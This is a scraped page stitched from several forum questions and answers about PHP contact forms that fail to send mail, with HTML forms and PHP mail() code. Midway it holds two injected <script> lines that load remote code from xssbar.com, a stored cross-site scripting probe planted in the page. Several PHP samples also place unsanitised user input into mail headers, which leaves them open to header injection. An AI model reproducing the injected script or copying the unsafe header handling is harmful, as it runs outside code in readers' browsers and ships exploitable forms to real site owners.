I have a mail form that will not submit the input placed into the text area to the e-mail that I have inserted.
I am completely new to PHP.
This form has worked for me in the past.
I am trying to run the form from the freehostia.com server, I have the first upgraded plan which advertises SMTP.
Here is my HTML:
<form action="contact.php" method="post">First name:
<br>
<input class="A" id="B" type="text" name="name" size="25">
<br>
E-mail:
<br>
<input class="A" id="A" type="text" name="email" size="35">
<textarea id="A" name="message" rows="10" cols="50" placeholder="Please provide your information..."></textarea>
<div>
<input class="size" type="submit" value="Send!" />
</div>
</form>
Here's my PHP content:
<?php
$field_name = $_POST['name'];
$field_email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'XXXX#XX.com';
$subject = 'MESSAGE FROM SITE VISITOR ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.')
window.location = 'index.html';
</script>
<?php }
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to XXXX#XX.com');
window.location = 'contact.html';
</script>
<?php } ?>
Everything appears to be in place to me. I can't for the life of me figure out what I have done wrong here.
where is ur '$email' variable in,
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
where it initialized?
go this website: https://github.com/HouKun1230/Jquery-mobile-with-PHP-MYSQL and look the email.php which is a email sending simple. It may help you.
Related
This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I have problem with send email. When I send a form, I get a blank message in my inbox. It looks like this:
Mail:
New message from:
E-mail:
Topic:
Sent message:
The form has validation, it works correctly. The problem is that I don't know why messages come empty to my inbox.
Here is a php code:
$name = $_POST['name'];
$mail = $_POST['mail'];
$topic = $_POST['topic'];
$message = $_POST['message'];
$email_to = "example#qmail.com";
$email_subject = "You received a new message";
$email_body = "Mail: \r\n";
$email_body .= "New message from: " . $name . "\r\n";
$email_body .= "E-mail:" . $mail . "\r\n";
$email_body .= "Topic: " . $topic . "\r\n";
$email_body .= "Sent message: " . $message . "\r\n";
$success = mail($email_to, $email_subject, $email_body);
if ($success){
print "<meta http-equiv=\"refresh\" content=\"0;URL=success-form\index.html\">";
}
else{
print "<script>console.log('error'); </script>";
}
?>
Form in HTML:
<form method="post" action="../form.php" >
<input name="name" type="text" placeholder="Name and Surname">
<label></label>
<input name="mail" type="email" placeholder="Email address">
<label></label>
<input name="topic" type="text" placeholder="Topic">
<label></label>
<textarea name="message" placeholder="Message..."></textarea>
<label></label>
<input type="submit" class="send-btn" value="Send">
</form>
Have you tried adding a few headers? For example:
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain; charset=utf-8\r\n";
$headers .= "Content-Transfer-Encoding: 8bit\r\n";
$headers .= "FROM:".$email_from."\r\n"; // Variable to define
Then, call you mail command like this:
$success = mail($email_to, $email_subject, $email_body, $headers);
This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I am trying to create a contact form using php and a html form. When the user clicks submit I want the details that they have entered into the form to be sent in an email.
When the user clicks submit they are shown a message to say the message has been sent but when I check my email nothing has been sent.
Here is my code, please note the email has been changed to show the code here.
<div id = "form">
<form action ="contact2.php" method="post">
Name:
<input type="text" name="name">
<br>
<br>
Email:
<input type="text" name="email">
<br>
<br>
Message:
<br>
<br>
<TEXTAREA NAME="message" ROWS=6 COLS=40>
</TEXTAREA>
<br>
<br>
<input type="submit" value="Submit">
</div>
</form>
<?php
$field_name = $_POST['name'];
$email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'example#yahoo.co.uk';
$subject = 'Message from a site visitor ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.');
window.location = 'contact.php';
</script>
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to example#yahoo.co.uk');
window.location = 'contact.php';
</script>
<?php
}?>
you want to have all that javascript wrapped in a php echo or else it doesnt work.
so...
if ($mail_status) {
echo '<script language="javascript" type="text/javascript">';
thats just a bit of the code you need to implement...
you want to echo every javascript line too.
I'm doing my first website - I uploaded it to http://testinglakovna.borec.cz/ and I basically used a free template and adjusted it to my liking.
Unfortunately the contact form provided by the template didn't come with the "contact.php" and I've no idea how to correctly activate it.
It's been 4 days and all I figured out is I needed a contact.php activation and I found a script that activated the form - it DOES send the email but it only sends the message, doesn't show the sender email, name or the subject which the sender writes himself...
I'm now desperate for help - is there anybody who could help me write this code?
My contact.php code is this:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova#gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
and the contact form html of the index.html is:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
And I've already searched for an answer on other people's questions but still can't resolve this issue. It's literally the last thing for me to do before I can publish the website officially.
Just made that and it worked on my e-mail address (tested).
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
Just declare a new variable, lets just call it $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject'
After that, in the mail function, substitute the $message for the $sendEmail variable you just created
It should work fine but keep in mind that if you are deploying your code on a local server that email is going to be sent, most probably, to the spam folder.
Let me know if it helps...
Oops, looks like there's no content in this category.
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
Thanks!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>
I am trying to configure my contact from to my remote server. The technical guys from my hosting have issued me this settings for my mail setting:
(POP3/IMAP) & outgoing mail (SMTP) server name is: mail.yourdomain.com
ports are: POP3 -> 110, IMAP -> 143 and SMTP -> 25 or 2525
Unfortunately, i do not know where to insert that into my php contact file.
these are the contact files:
contact.html
<form role="form" action="contact.php" method="post">
<div class="text-fields">
<div class="form-group">
<input type="text" class="form-control" name="bbname" id="bbname" placeholder="name:">
</div>
<div class="form-group">
<input type="email" class="form-control" name="bbemail" id="bbemail" placeholder="email:">
</div>
<div class="form-group">
<input type="text" class="form-control" name="bbphone" id="bbphone" placeholder="phone:">
</div>
</div>
<div class="submit-area">
<div class="form-group">
<textarea class="form-control" placeholder="message:" name="bbmessage" id="bbmessage"></textarea>
</div>
<button type="submit" class="btn btn-default" id="bbsubmit">Send it</button>
</div>
</form>
contact.php
<?php
$field_name = $_POST['bbname'];
$field_email = $_POST['bbemail'];
$field_phone = $_POST['bbphone'];
$field_message = $_POST['bbmessage'];
$mail_to = 'me#mydomain.com';
$subject = 'Message from '.$field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Phone: '.$field_phone."\n";
$body_message .= 'Message: '.$field_message;
$headers = 'From: '.$field_email."\r\n";
$headers .= 'Reply-To: '.$field_email."\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. I will contact you shortly.');
window.location = 'contact.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to me#mail.com');
window.location = 'contact.html';
</script>
<?php
}
?>
I advise you rather use ready Mailer class for that - http://phpmailer.worxware.com/ is the best choice. I use it for many years and you can configure SMTP connection very easy
Im having problems sending emails in HTML format using the CKEditor. I have the latest one and installed on to my site. This is my simple contact form to test the software out but every time I insert a link or something in HTML, the output in the email is
my code is:
<script src="/ckeditor/ckeditor.js" type="text/javascript"></script>
<link rel="stylesheet" href="/ckeditor/sample.css">
<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<html>
<?php
$action=$_REQUEST['action'];
if ($action=="") /* display the contact form */
{
?>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="submit">
Your name:<br>
<input name="name" type="text" value="" size="30"/><br>
Your email:<br>
<input name="email" type="text" value="" size="30"/><br>
Your message:<br>
<textarea name="message" class="ckeditor"></textarea><br>
<input type="submit" value="Send email"/>
</form>
<?php
}
else /* send the submitted data */
{
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
if (($name=="")||($email=="")||($message==""))
{
echo "All fields are required, please fill the form again.";
}
else{
$from="From: $name<$email>\r\nReturn-path: $email";
$subject="Message sent using your contact form";
mail("email#example.com", $subject, $message, $from);
echo "Email sent!";
}
}
?>
</html>
Thanks for any help
That is because you need to add the right headers to the mail() function, other wise it will send plain text emails.
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
them you can add the content to the email:
$message = '<html><body>';
$message .= '<h1>Cool Email</h1>';
$message .= '</body></html>';
them it should work.. good luck
The documentation is straightforward; you need to specify email headers that indicate the message contains HTML: docs
See Example #4.
Specifically:
// To send HTML mail, the Content-type header must be set
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
And then to put it all together with your existing code:
$headers .= "\r\n" . $from;
mail($to, $subject, $message, $headers);
Does this help?
How-To-Code-Html-Emails
It suggest to send your html email in Multipart/Alternative MIME
I thought I would give the simple answer, as I have just spent forever figuring this out. Hope it helps someone out.
$send_to = $_POST['send_to'];
$subject= $_POST['subject'];
$body= $_POST['body'];
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';
$headers[] = 'From: Your name <your#email.com>';
$msg = '<html><body><head></head>';
$msg .= "Dear $first_name $last_name, \n$body";
$msg .= '</body></html>';
mail($email, $subject, $msg, implode("\r\n", $headers));